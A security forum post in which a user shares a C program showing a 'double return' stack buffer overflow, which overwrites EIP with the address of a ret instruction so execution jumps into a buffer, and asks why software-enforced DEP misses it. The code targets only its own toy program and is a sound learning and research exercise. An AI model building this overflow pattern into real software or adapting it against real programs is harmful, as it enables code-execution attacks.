WinXPTalk.com

iDLER · Guest

Hi, Merry Christmas everyone :-)
The following program is a double-ret stack overflow program. It overwrites
the EIP to an address which contains a ret instruction, so the system will
pop the stack again, get the header address of a buffer and jump to it. It
shoud be a 'data execution' but software-enforced DEP does not catch it.:-S
Why?

/*
Stack based overflows
Double return technique
compile for release
*/

void doit(char* buf)
{
char smallbuf[10];
memset(smallbuf,0x0,sizeof(smallbuf));
printf("strcpy\n");

//_asm int 3;
_asm nop;

strcpy(smallbuf,buf);
}

int main(int argc,char *argv[])
{
char buf[100];

printf("+ Stack based overflow\n+ Double return\n");
memset(buf, 0x0, sizeof(buf));

// The double return
memset(buf,0xcc,12); // 12 bytes
strcat(buf,"\x64\x64\x64\x64"); // SET EBP
strcat(buf,"\x3e\x10\x40\x00"); // SET EIP to ret 0x0040103e, at that
address there is a 'ret'
printf("+ Buffer address: %p\n", buf);

doit(buf);

printf("+ done\n");
return 0;
}

	WinXPTalk.com Forum Index -> Security	All times are GMT
Page 1 of 1